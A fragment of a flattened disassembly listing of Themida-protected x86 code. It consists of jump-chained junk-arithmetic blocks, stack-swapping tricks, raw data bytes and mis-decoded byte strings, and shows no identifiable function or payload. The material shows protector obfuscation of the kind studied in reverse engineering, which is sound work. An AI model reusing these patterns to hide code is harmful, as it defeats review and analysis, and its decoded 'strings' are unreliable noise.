1C92080Ah jmp loc_58B085 ; --------------------------------------------------------------------------- loc_58E507: ; CODE XREF: Themida_:0058F97Bj neg ebx xor ebx, 7154B0Bh jmp loc_592682 ; --------------------------------------------------------------------------- loc_58E514: ; CODE XREF: Themida_:00597875j dec ch jo loc_58DB64 or ch, 9Dh jmp loc_58DFD5 ; --------------------------------------------------------------------------- loc_58E524: ; CODE XREF: Themida_:0058C212j pop edx jmp loc_5972A4 ; --------------------------------------------------------------------------- dw 34FFh aXh0s db '$Xh0S',0 dw 8900h dd 0E389241Ch, 4C381h, 0EB830000h, 74FF5304h, 8F5B0424h dd 27E92404h, 0FFFFFFC8h, 3E683877h, 89000003h, 0B9512434h dd 22B33367h, 6B55F181h, 890F646Dh, 7F5Eh, 686FF181h, 0D12C1B19h dd 835C66B1h, 79E904ECh db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58E57F: ; CODE XREF: Themida_:0058D3B7j add edi, 4 jmp loc_597BF9 ; --------------------------------------------------------------------------- dw 4BFh dd 29000000h, 1AE95FFBh, 59000004h, 0E952D4F6h, 8877h dd 8664F380h, 0F6D486E3h, 86D486D2h, 2EBC0E3h, 8904EC83h dd 42682404h, 0E9000005h, 0FFFFDB81h, 0F5C3E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E5C6: ; CODE XREF: Themida_:00597D50j mov ecx, 36555BE8h shl ecx, 4 not ecx dec ecx sub ecx, 0C822DF25h add ebp, ecx pop ecx sub esi, ebp pop ebp push 1C5Bh jmp loc_5952AE ; --------------------------------------------------------------------------- db 21h dd 5C74E9FBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58E5EE: ; CODE XREF: Themida_:0059801Aj mov esi, 4 add ebx, esi jmp loc_58B878 ; --------------------------------------------------------------------------- loc_58E5FA: ; CODE XREF: Themida_:0058DEDEj ; Themida_:loc_596F17j push edx mov dl, 0D7h add bl, dl pop edx add bl, 0E8h jmp loc_597864 ; --------------------------------------------------------------------------- dd 7F6B8E0Fh, 0F8E90000h, 8F00000Ah, 248B2404h db 24h, 52h ; --------------------------------------------------------------------------- loc_58E61A: ; CODE XREF: Themida_:0058EA53j add esp, 4 push edi mov edi, 4E72D2Ah add edi, 7E20127Eh jnz loc_58E0CB or edi, 54A513FBh push edx mov edx, 7E6AFFACh add edi, edx loc_58E63D: ; CODE XREF: Themida_:00595ACAj pop edx add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_590701 ; --------------------------------------------------------------------------- loc_58E652: ; CODE XREF: Themida_:0058C6D6j pop dword ptr [esp] jmp loc_58A79E ; --------------------------------------------------------------------------- dw 8B66h dd 89522404h, 0E78957E2h, 4C781h, 0EF810000h, 4, 5C243C87h dd 0B8240489h, 3C1B42h, 4F5E6505h, 79A33511h, 0C201118Bh dd 5024048Bh, 4C1CE9h, 80DAF600h, 0F28030E2h, 75B8E947h dd 685E0000h, 4282h, 1D8DE9h db 0 ; --------------------------------------------------------------------------- loc_58E6A9: ; CODE XREF: Themida_:005964C5j sub ebp, eax pop eax xchg ebp, [esp] pop esp mov [esp], ax jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58E6B9: ; CODE XREF: Themida_:loc_58FE60j ; Themida_:00590683j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_593CF4 ; --------------------------------------------------------------------------- loc_58E6D0: ; CODE XREF: Themida_:0058F174j pop ebp jmp loc_58E9E9 ; --------------------------------------------------------------------------- loc_58E6D6: ; CODE XREF: Themida_:005916AAj mov eax, esp add eax, 4 push edx mov edx, 2 jmp loc_58ED5C ; --------------------------------------------------------------------------- dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFBBD6h ; --------------------------------------------------------------------------- loc_58E6F8: ; CODE XREF: Themida_:005929E7j push eax mov eax, esp add eax, 4 jmp loc_58B6E1 ; --------------------------------------------------------------------------- db 0F6h, 1Ch, 24h dd 456E99Ch, 0B8500000h, 4, 48BC529h, 6E98E924h, 0F7800000h dd 0E9FA007Ch, 0FFFFFD72h ; --------------------------------------------------------------------------- loc_58E728: ; CODE XREF: Themida_:0059050Dj push esi jmp loc_58DD99 ; --------------------------------------------------------------------------- loc_58E72E: ; CODE XREF: Themida_:005930FDj xchg eax, ecx sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] push edx jmp loc_5936EB ; --------------------------------------------------------------------------- dd 12CDE9C3h, 0B6520000h, 2EC83C3h, 241C8966h, 0FE3008B7h dd 0FFE1A0E9h, 6EFC1FFh, 0F89EF81h, 0ECE971E8h db 8Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_58E77B: ; CODE XREF: Themida_:0058FA04j pop esp xor ebx, eax push small 161Fh jmp loc_58B75A ; --------------------------------------------------------------------------- db 89h dd 76E92404h, 0E900008Bh, 0FFFFBB3Ah ; --------------------------------------------------------------------------- loc_58E794: ; CODE XREF: Themida_:0058D378j xor ecx, 9FD30FFAh push edx push ecx jmp loc_590373 ; --------------------------------------------------------------------------- db 68h, 0EDh, 27h dd 3C890000h, 815F5424h, 4C7h, 2894E900h, 0E9560000h, 0FFFFC5CFh dd 96F6E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_58E7C2: ; CODE XREF: Themida_:005931FCj not eax shr eax, 8 jmp loc_58BF2C ; --------------------------------------------------------------------------- dd 4C481h, 95E90000h, 0FF000008h, 1BE92434h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E7DF: ; CODE XREF: Themida_:00595247j add esp, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_591F34 ; --------------------------------------------------------------------------- dd 24048B66h, 3F38E9h, 24248B00h, 9C2424D2h, 0FFBAC9E9h dd 0BAC4E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E80A: ; CODE XREF: Themida_:005923B5j inc ebx jmp loc_58FE60 ; --------------------------------------------------------------------------- dd 51F8005Bh, 0D1F6C9B1h, 0E91EC180h, 883Bh, 0C381E389h dd 4, 4BA52h, 0B5E90000h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58E833: ; CODE XREF: Themida_:00590627j add esp, 4 loc_58E839: ; CODE XREF: Themida_:00597A66j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx xor dword ptr [esp], 7725249Dh pop eax jmp loc_58E923 ; --------------------------------------------------------------------------- loc_58E859: ; CODE XREF: Themida_:00595992j add ebx, 4 add ebx, 4 xor ebx, [esp] jmp loc_58B3BD ; --------------------------------------------------------------------------- aBilzcST db 'λ«c)ιΧT',0 db 0 ; --------------------------------------------------------------------------- loc_58E875: ; CODE XREF: Themida_:0058A9B7j add edx, eax push 5984h mov [esp], ecx mov ecx, 640740BFh sub edx, ecx jmp loc_5915CE ; --------------------------------------------------------------------------- loc_58E88B: ; CODE XREF: Themida_:00595B57j xor ebx, edi pop edi jmp loc_58BD0B ; --------------------------------------------------------------------------- loc_58E893: ; CODE XREF: Themida_:0058F2F4j push dword ptr [esp] pop edx push 24D0h mov [esp], esi push esp jmp loc_59147B ; --------------------------------------------------------------------------- loc_58E8A5: ; CODE XREF: Themida_:0058DFE7j jmp loc_58A2CE ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFFF8D0h, 33240431h, 0E95C2404h, 0FFFFDD10h ; --------------------------------------------------------------------------- loc_58E8BC: ; CODE XREF: Themida_:00597BC8j mov ecx, 0 sub ecx, edx xchg ecx, edx pop ecx not edx xchg ebp, edx neg ebp xchg ebp, edx push eax mov eax, 648D143Fh or eax, 75F5D4Ch xor eax, 4F240D41h sub edx, eax mov eax, [esp] add esp, 4 xor edx, 6AC9678Fh jmp loc_58D31F ; --------------------------------------------------------------------------- loc_58E8F1: ; CODE XREF: Themida_:0059396Ej sub eax, ebx jmp loc_58C5BE ; --------------------------------------------------------------------------- dd 24048B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi mov esi, esp push 7757h mov [esp], ecx mov ecx, 4 jmp loc_5919F7 ; --------------------------------------------------------------------------- loc_58E923: ; CODE XREF: Themida_:0058E854j push edi jmp loc_594C30 ; --------------------------------------------------------------------------- loc_58E929: ; CODE XREF: Themida_:00595E47j pop edi push ebp push edx jmp loc_594812 ; --------------------------------------------------------------------------- loc_58E931: ; CODE XREF: Themida_:0058AE97j push edi push esi mov esi, 320B7EC5h sub esi, 1DF352D6h jmp loc_58CD3E ; --------------------------------------------------------------------------- db 66h dd 8124048Bh, 4ECh, 241C8900h, 2434FF54h, 5B2434FFh, 8304C483h dd 0B85004C4h, 4, 5758C301h, 2BFh, 8BFB0100h, 0C483243Ch dd 241C8704h, 0E924248Bh, 0FFFFEABFh ; --------------------------------------------------------------------------- loc_58E980: ; CODE XREF: Themida_:0058D6E3j push ebp jmp loc_58EAFB ; --------------------------------------------------------------------------- dw 489h dd 95B55124h, 85E9E888h, 0E9FFFFD5h, 4C00h ; --------------------------------------------------------------------------- loc_58E998: ; CODE XREF: Themida_:0058F5A9j sub edx, 0BF8793Eh add edx, edi add edx, 0BF8793Eh add edx, 43F14273h jmp loc_58F400 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 1201E9h, 0DDF74500h, 514DBE56h, 0EE815E13h, 6A276096h dd 9AEE814Eh, 814B4E3Ah, 0E1301BC6h, 90EE817Dh, 811CC940h dd 41DBCEEEh, 5EF53170h, 0FFBF8DE9h db 0FFh ; --------------------------------------------------------------------------- loc_58E9E9: ; CODE XREF: Themida_:0058E6D1j mov ebp, 0FA8AF580h push eax mov eax, 23041F06h add ebp, 359B6601h add ebp, eax sub ebp, 359B6601h pop eax add ebp, 7A2E376Eh sub ebp, 0FE149D3h add ebp, edx add ebp, 0FE149D3h sub ebp, 7A2E376Eh sub ebp, 23041F06h pop edx jmp loc_592E7F ; --------------------------------------------------------------------------- loc_58EA29: ; CODE XREF: Themida_:00591C92j pop esp xchg ebx, [esp] mov esp, [esp] or eax, eax jnz loc_58B321 push 7ED3h mov [esp], ebp push 2E55h mov [esp], edx push esi mov esi, 49463089h mov edx, esi mov esi, [esp] jmp loc_58E61A ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 3D206D39h not ebx push edi mov edi, 687D3CE6h xor ebx, edi pop edi xor ebx, 0AAA2AE24h add ebp, ebx jmp loc_595ADC ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 13h dd 66FFFFCAh, 68240C8Bh, 310Bh, 0E9241C89h, 5C68h, 0B353CE2Ch dd 5BD82862h, 592434FFh, 0E9E78957h, 5CADh, 4EC81h, 0C890000h dd 754FE924h, 0BE560000h, 2, 4FB8EB81h, 0C3816E83h, 3EA74325h dd 0E955F301h, 548Bh ; --------------------------------------------------------------------------- loc_58EACC: ; CODE XREF: Themida_:0058C549j push edi mov edi, 0EA87F417h sub eax, edi pop edi sub esi, eax mov eax, [esp] add esp, 4 not esi push ecx jmp loc_58B8B2 ; --------------------------------------------------------------------------- loc_58EAE5: ; CODE XREF: Themida_:0058C13Cj push esp pop edi jmp loc_58B426 ; --------------------------------------------------------------------------- loc_58EAEC: ; CODE XREF: Themida_:00597AE1j pop ebp push eax mov eax, 4 add ebp, eax pop eax jmp loc_597AEC ; --------------------------------------------------------------------------- loc_58EAFB: ; CODE XREF: Themida_:0058E981j mov ebp, esp jmp loc_593261 ; --------------------------------------------------------------------------- loc_58EB02: ; CODE XREF: Themida_:0058B6F6j xor edi, [esp] pop esp add esp, 4 jmp loc_59673D ; --------------------------------------------------------------------------- loc_58EB0E: ; CODE XREF: Themida_:00592A3Ej sub al, 17h add al, ch add al, 17h sub al, 57h pop ecx sub bl, 0F3h jmp loc_597472 ; --------------------------------------------------------------------------- loc_58EB1F: ; CODE XREF: Themida_:00594468j push ebp sub esp, 4 mov [esp], ebx mov ebx, 4 mov ebp, ebx pop ebx add esi, ebp pop ebp add esi, 4 jmp loc_58B7C9 ; --------------------------------------------------------------------------- loc_58EB3C: ; CODE XREF: Themida_:005923D1j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx push 7742h mov [esp], edx jmp loc_5955A6 ; --------------------------------------------------------------------------- loc_58EB56: ; CODE XREF: Themida_:0058D166j push eax mov al, 0B8h or al, 0DCh and al, 0B8h xor al, 95h jmp loc_592572 ; --------------------------------------------------------------------------- dd 0FFB765E9h db 0FFh ; --------------------------------------------------------------------------- loc_58EB69: ; CODE XREF: Themida_:00594B26j not ebp push ebp xchg eax, [esp] jmp loc_595620 ; --------------------------------------------------------------------------- dd 0AF507905h, 0E9D80124h, 0FFFFF7AFh ; --------------------------------------------------------------------------- loc_58EB80: ; CODE XREF: Themida_:0058DCD0j push eax jmp loc_58C064 ; --------------------------------------------------------------------------- loc_58EB86: ; CODE XREF: Themida_:00596C58j pop cx push edx mov dl, 6Ah sub dl, 54h xchg bl, dl inc bl xchg bl, dl sub dl, 1 xor dl, 95h shr dl, 7 jmp loc_592A61 ; --------------------------------------------------------------------------- dw 2CD3h dd 23E99C24h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58EBAB: ; CODE XREF: Themida_:005951B4j pop esp mov [esp], cx jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58EBB5: ; CODE XREF: Themida_:00594660j push esi mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] jmp loc_597CA5 ; --------------------------------------------------------------------------- db 45h dd 0B951DDF7h, 0AE48F92Dh, 159CD31h, 2134E9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58EBDE: ; CODE XREF: Themida_:00597167j sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push ebx push 0DD2424h pop ebx jmp loc_58CCB7 ; --------------------------------------------------------------------------- loc_58EBF4: ; CODE XREF: Themida_:0058CF6Ej mov ecx, edx mov edi, ecx pop ecx jmp loc_59464C ; --------------------------------------------------------------------------- loc_58EBFE: ; CODE XREF: Themida_:00596088j mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58E0E0 ; --------------------------------------------------------------------------- aVha db ',’ha{',0 align 10h dd 89241C89h, 4C381E3h, 81000000h, 4EBh, 241C8700h, 0C47E9h dd 0FED1F600h, 73E980C1h, 0C8285B2Ch, 0C8B5B04h, 4C48324h dd 8A17E9h db 0 ; --------------------------------------------------------------------------- loc_58EC51: ; CODE XREF: Themida_:00593911j mov edx, esi jmp loc_594887 ; --------------------------------------------------------------------------- aRaezFaezsvo db '½AeZΏAeZιVO',0 dw 0E900h dd 8F2Bh ; --------------------------------------------------------------------------- loc_58EC6C: ; CODE XREF: Themida_:0058F8F5j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push dword ptr [esp+4] jmp loc_58F5AE ; --------------------------------------------------------------------------- dw 0C181h dd 4, 4C181h, 0C330000h, 1C36E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58EC96: ; CODE XREF: Themida_:0058AD71j push ebx mov bh, 0B8h jmp loc_594A61 ; --------------------------------------------------------------------------- loc_58EC9E: ; CODE XREF: Themida_:loc_58FCCFj or ebp, 5C967C10h xor ebp, 0C24EC2BCh jmp loc_58FC27 ; --------------------------------------------------------------------------- db 51h dd 16B8E952h, 15F0000h, 0E9535AD7h, 0FFFFFB60h, 2DD2C781h dd 0C7013098h, 0E30E9h db 0 ; --------------------------------------------------------------------------- loc_58ECCD: ; CODE XREF: Themida_:0058B158j add esp, 4 mov eax, [esp] add esp, 4 mov [edi+eax*4], dh pop edx jmp loc_5954DA ; --------------------------------------------------------------------------- loc_58ECE2: ; CODE XREF: Themida_:0058F841j mov eax, 4D14481Bh jmp loc_597BCD ; --------------------------------------------------------------------------- dd 0A4E9CC88h, 42FFFFF8h, 0D2F7DAF7h, 0D23CEA81h, 0D5012B25h dd 4C5835Ah, 9306E9h db 0 ; --------------------------------------------------------------------------- loc_58ED09: ; CODE XREF: Themida_:0058FFC2j inc ebx and ebx, 46F23D47h shl ebx, 4 jmp loc_59008F ; --------------------------------------------------------------------------- loc_58ED18: ; CODE XREF: Themida_:005925BEj push esi jmp loc_591DEC ; --------------------------------------------------------------------------- loc_58ED1E: ; CODE XREF: Themida_:0058FD75j mov eax, 49C659F5h inc eax add eax, 1CC00963h mov ecx, eax pop eax add dword ptr [esp+4], 4A2B204Ah sub [esp+4], ecx push ebp mov ebp, 4A2B204Ah jmp loc_591DF6 ; --------------------------------------------------------------------------- db 0FFh a4Xuh db '4$XUhΣ',0Dh,0 dd 24248900h, 4240481h, 0E9000000h, 2298h ; --------------------------------------------------------------------------- loc_58ED5C: ; CODE XREF: Themida_:0058E6E3j sub eax, 1F3B2E91h sub eax, edx push edx mov edx, 1F3B2E91h jmp loc_59172D ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFB555E9h, 5C181FFh, 0E9DBCA37h, 0FFFFE73Fh ; --------------------------------------------------------------------------- loc_58ED84: ; CODE XREF: Themida_:0059288Bj and eax, edi jmp loc_595791 ; --------------------------------------------------------------------------- db 1 dd 64EF81DFh, 5B51BE22h, 0E904EF83h, 0BBh ; --------------------------------------------------------------------------- loc_58ED9C: ; CODE XREF: Themida_:0058A4CAj add eax, ebp pop ebp xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push 5963h mov [esp], edx mov edx, 0 push esi push eax mov eax, 511717Dh mov esi, 339A70C8h jmp loc_59263F ; --------------------------------------------------------------------------- loc_58EDC9: ; CODE XREF: Themida_:0058A4D7j pop eax pop ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_58C149 ; --------------------------------------------------------------------------- loc_58EDDF: ; CODE XREF: Themida_:0059226Bj jnz loc_597969 push ebx mov ebx, 0FFFFFFFFh jmp loc_597DB2 ; --------------------------------------------------------------------------- db 88h, 0F9h, 52h ; --------------------------------------------------------------------------- loc_58EDF3: ; CODE XREF: Themida_:0058E0DBj add dword ptr [esp], 6B080B9Ah pop ebp jmp loc_591765 ; --------------------------------------------------------------------------- loc_58EE00: ; CODE XREF: Themida_:0058C2D3j pop esi add edx, 4 xchg edx, [esp] pop esp sub ebx, 735F566Dh mov eax, ebx jmp loc_590BA5 ; --------------------------------------------------------------------------- aAseo db 'Aι₯O',0 align 2 dw 0E680h dd 70850FA5h, 5300002Eh, 1032E950h, 29E90000h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58EE33: ; CODE XREF: Themida_:00595968j add esi, edx pop edx jmp loc_596243 ; --------------------------------------------------------------------------- loc_58EE3B: ; CODE XREF: Themida_:00591E3Bj neg esi neg esi sub esi, 96BC43E2h sub ebp, esi jmp loc_596731 ; --------------------------------------------------------------------------- dd 0DFF5E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58EE52: ; CODE XREF: Themida_:00597294j jmp loc_58A2CE ; --------------------------------------------------------------------------- db 87h dd 0A6E9243Ch db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58EE5F: ; CODE XREF: Themida_:0058E38Dj pop ecx push ecx mov ecx, 42E378FDh and esi, ecx jmp loc_595572 ; --------------------------------------------------------------------------- db 81h, 0C7h, 0EBh dd 0D1603420h, 0CF8147E7h, 3703589Dh, 4EDC781h, 0F8298E52h dd 56243C8Bh, 0BD55E689h, 4, 815DEE01h, 4C6h, 24348700h dd 0FF24248Bh, 81592434h, 4C4h, 57D80100h, 0E658CBFh, 5FF80157h dd 7021BA52h, 0EC8375F0h, 24348904h, 37DA68h, 241C8900h dd 8702A4BBh, 0F5B95110h, 1205E64h, 0DE8959CBh, 7B96E9h db 0 ; --------------------------------------------------------------------------- loc_58EEDD: ; CODE XREF: Themida_:0058C588j push dword ptr [esp] pop ebx jmp loc_5949E4 ; --------------------------------------------------------------------------- dw 815Eh dd 0F14809EAh, 53C2015Bh, 1933DDBBh, 0EB81434Ah, 0FA7F1BA1h dd 480EC381h, 0C6E93EA9h, 8100000Eh, 391E51F5h, 5DE989C8h dd 6AD7E181h, 34E934DFh db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_58EF1B: ; CODE XREF: Themida_:00590007j push dword ptr [esp] pop eax jmp loc_58AF7B ; --------------------------------------------------------------------------- dd 2404085Ch, 0B3A0E99Ch, 0B951FFFFh, 297A7957h, 159CD29h dd 57C581D5h, 5A297A79h, 31242C33h, 2C33242Ch, 148B5C24h dd 8821E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58EF52: ; CODE XREF: Themida_:005933D6j sub esp, 4 jmp loc_59066E ; --------------------------------------------------------------------------- loc_58EF5A: ; CODE XREF: Themida_:00597DADj mov edx, 3D0A1743h neg edx xor edx, 8F30456h xor edx, 26F23E8h shl edx, 5 push ecx mov ecx, 1 add edx, ecx pop ecx add edx, 0A4C4662Bh sub ebx, edx pop edx add edx, ebx jmp loc_591F71 ; --------------------------------------------------------------------------- db 81h, 2Ch, 24h dd 3A87527Eh, 55240401h, 79E4E9h db 0 ; --------------------------------------------------------------------------- loc_58EF99: ; CODE XREF: Themida_:0058DFB8j mov [esp], ebx xor dword ptr [esp], 62CB5294h mov edi, [esp] add esp, 4 jmp loc_5916C4 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 0EF810000h, 4, 1CD5E9h, 0B304E900h, 34FFFFFFh dd 54515924h, 4BA5259h, 1000000h, 24148BD1h, 81E68956h dd 4C6h, 4C68100h, 87000000h, 575C2434h, 166A3EBFh, 1EF834Dh dd 243C8757h, 3C87D7F7h, 0EFC15F24h, 6CEF8102h, 12CBA65h dd 4FE95FF9h db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F013: ; CODE XREF: Themida_:00593C7Fj push ebp mov ebp, 21CE69F6h xor ebp, 555F7F6Ch or ebp, 7CBD6AD2h not ebp neg ebp xor ebp, 7CBD7ED9h jmp loc_5927DA ; --------------------------------------------------------------------------- dd 240C8B66h, 8904EC83h, 0E6892434h, 4C681h, 53500000h dd 2CB2E9h, 840F4000h, 56B8h, 8B0FE0D1h, 51E3h, 0FFB95BE9h dd 58C288FFh, 0E901C280h, 3566h, 6966E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F072: ; CODE XREF: Themida_:0058CB44j mov ecx, 4 add edi, ecx pop ecx xchg edi, [esp] mov esp, [esp] imul ecx push edi sub esp, 4 mov [esp], esp jmp loc_596EB8 ; --------------------------------------------------------------------------- loc_58F091: ; CODE XREF: Themida_:00591AA7j sub esp, 4 mov [esp], edi push ebp mov ebp, 323F51C0h mov edi, 5BD54765h jmp loc_5922A7 ; --------------------------------------------------------------------------- dw 8B0Fh dd 2D25h, 800FCEFEh, 79BBh, 0F6DEF680h, 6614E9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F0C2: ; CODE XREF: Themida_:0058B0B3j pop esi sub esp, 4 mov [esp], ecx jmp loc_593C42 ; --------------------------------------------------------------------------- dw 34FFh aSiuqrPNbCFSU db '$^SγQRΊp*άNΒC(f',8,'ι~U',0 db 0 ; --------------------------------------------------------------------------- loc_58F0E7: ; CODE XREF: Themida_:005922B3j push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov [esp], dx jmp loc_597EC1 ; --------------------------------------------------------------------------- loc_58F10B: ; CODE XREF: Themida_:0059605Fj xor [esp], ebp xor ebp, [esp] mov esp, [esp] dec word ptr [esp] pushf jmp loc_59490B ; --------------------------------------------------------------------------- dw 8B66h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_594566 ; --------------------------------------------------------------------------- loc_58F12A: ; CODE XREF: Themida_:0058C60Bj jmp loc_5943F3 ; --------------------------------------------------------------------------- loc_58F12F: ; CODE XREF: Themida_:0059258Cj ; Themida_:005938BAj mov ebx, 55AA2E27h not ebx shl ebx, 3 and ebx, 1EFD4B19h inc ebx xor ebx, 5FF232E0h mov edx, ebx pop ebx jmp loc_592804 ; --------------------------------------------------------------------------- dd offset dword_446450+18h dw 8900h dd 8CB9240Ch, 5570E65h, 456602ACh, 32E9C829h, 8B000076h dd 1C892424h, 51B5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F172: ; CODE XREF: Themida_:00597D30j mov edx, ebp jmp loc_58E6D0 ; --------------------------------------------------------------------------- db 29h, 0C5h, 0E9h dd 0FFFFDEEDh ; --------------------------------------------------------------------------- loc_58F180: ; CODE XREF: Themida_:005923E0j add ecx, 0B69BBEEh jmp loc_59275C ; --------------------------------------------------------------------------- db 0F7h dd 81D9F7D1h, 9DE84EE9h, 24B4E9CFh, 0E9520000h, 627Dh dd 1DF468h, 24248900h, 4240483h, 3000E9h db 0 ; --------------------------------------------------------------------------- loc_58F1B1: ; CODE XREF: Themida_:00593CCCj mov bl, cl pop ecx jmp loc_593D33 ; --------------------------------------------------------------------------- loc_58F1B9: ; CODE XREF: Themida_:00593490j popf retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFB10Eh, 2AD2BE56h, 0DEF70DA8h, 7250BF57h, 1DE92AD6h db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58F1D3: ; CODE XREF: Themida_:0058F52Fj add esp, 4 jmp loc_5944E5 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFB0EEh, 510DF5BDh, 2E5C15Ch, 78D2E9h db 0 ; --------------------------------------------------------------------------- loc_58F1ED: ; CODE XREF: Themida_:00591C08j push edx push ebx mov ebx, 41E43693h mov edx, 3344EC10h add edx, ebx pop ebx add ecx, 4D932F13h sub ecx, edx sub ecx, 4D932F13h pop edx sub ecx, 69122792h mov edi, [esp] jmp loc_58CE7F ; --------------------------------------------------------------------------- loc_58F219: ; CODE XREF: Themida_:0058F5DCj pop ecx jmp loc_596A6C ; --------------------------------------------------------------------------- loc_58F21F: ; CODE XREF: Themida_:00595FAEj add esi, 952E0913h xor eax, esi push dword ptr [esp] jmp loc_592F04 ; --------------------------------------------------------------------------- loc_58F22F: ; CODE XREF: Themida_:00592AE0j sub ebx, 14673BEFh sub esp, 4 mov [esp], eax mov eax, 35DC3567h add ebx, 5D182EA6h add ebx, eax sub ebx, 5D182EA6h mov eax, [esp] jmp loc_590682 ; --------------------------------------------------------------------------- loc_58F259: ; CODE XREF: Themida_:005943C7j push edx push 37B046C4h pop edx mov eax, 5D4BFF2h sub eax, 41BC052Ch add eax, edx add eax, 41BC052Ch pop edx jmp loc_595F9B ; --------------------------------------------------------------------------- loc_58F277: ; CODE XREF: Themida_:0058DC24j push ebx jmp loc_592591 ; --------------------------------------------------------------------------- db 0D1h, 0EEh, 0Fh dd 1BEC8Bh, 0A3B95100h, 5578F71Fh, 0FFFD20E9h db 0FFh, 8Bh, 2 ; --------------------------------------------------------------------------- loc_58F293: ; CODE XREF: Themida_:0058D76Bj add esp, 4 xchg eax, [esp] pop esp mov [esp], dx push ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58F2A6: ; CODE XREF: Themida_:0059210Fj pop ebx pop dword ptr [esp] pop esp jmp loc_58C950 ; --------------------------------------------------------------------------- dd 0B754E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F2B6: ; CODE XREF: Themida_:00593817j and ecx, ebp mov ebp, [esp] push edi mov edi, esp add edi, 4 push edx mov edx, 4 add edi, edx pop edx jmp loc_58CC74 ; --------------------------------------------------------------------------- loc_58F2D2: ; CODE XREF: Themida_:00590694j add esi, 38827CF2h mov ebp, esi jmp loc_5903BA ; --------------------------------------------------------------------------- loc_58F2DF: ; CODE XREF: Themida_:0059683Dj add eax, 0B13531EBh not eax shr eax, 1 inc eax dec eax add eax, 0E2DD5393h xor edx, eax pop eax and eax, edx jmp loc_58E893 ; --------------------------------------------------------------------------- db 87h, 0FBh, 0F7h dd 0E9FB87D7h, 0FFFFCF13h ; --------------------------------------------------------------------------- loc_58F304: ; CODE XREF: Themida_:loc_594098j add ebp, 3EED7CF3h mov eax, ebp mov ebp, [esp] jmp loc_59297D ; --------------------------------------------------------------------------- dd 5205ECC0h, 0E97EB050h, 26F9h, 0FFAFA9E9h, 95B252FFh dd 665AD708h, 8043B252h, 0D700BBEFh, 66BBC780h, 8324148Bh dd 0B35302C4h, 5EF3800Ah, 0C5E9D828h, 66FFFFF4h, 634BE951h dd 64B30000h, 0E1E9DD00h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F35B: ; CODE XREF: Themida_:00592772j add edi, 0CDF452Ch sub edi, 289E164Ch shr edi, 8 neg edi neg edi jmp loc_59337B ; --------------------------------------------------------------------------- db 66h dd 8124048Bh, 4ECh, 243C8900h, 3FDFE9h, 0F2BE6600h, 0EE816617h dd 1669A51h, 3AB8E9F3h, 6F210000h, 2FE95D1Ch db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F39F: ; CODE XREF: Themida_:0058D04Cj add esp, 4 add edx, 35B56B62h add edx, edi sub edx, 35B56B62h push ebx mov ebx, 6E62DA1h shl ebx, 6 xor ebx, 58BF62C7h inc ebx dec ebx add ebx, 56F64658h add edx, ebx pop ebx push ebx jmp loc_592BCF ; --------------------------------------------------------------------------- dd 4C281h, 14870000h, 24248B24h, 0EC81C331h, 4, 0E9243489h dd 2B66h ; --------------------------------------------------------------------------- loc_58F3EC: ; CODE XREF: Themida_:00591587j pop ecx sub ecx, ebp pop ebp sub eax, ecx mov ecx, [esp] jmp loc_58F8C3 ; --------------------------------------------------------------------------- aUs db 'Uι\>',0 align 10h loc_58F400: ; CODE XREF: Themida_:0058E9ACj pop 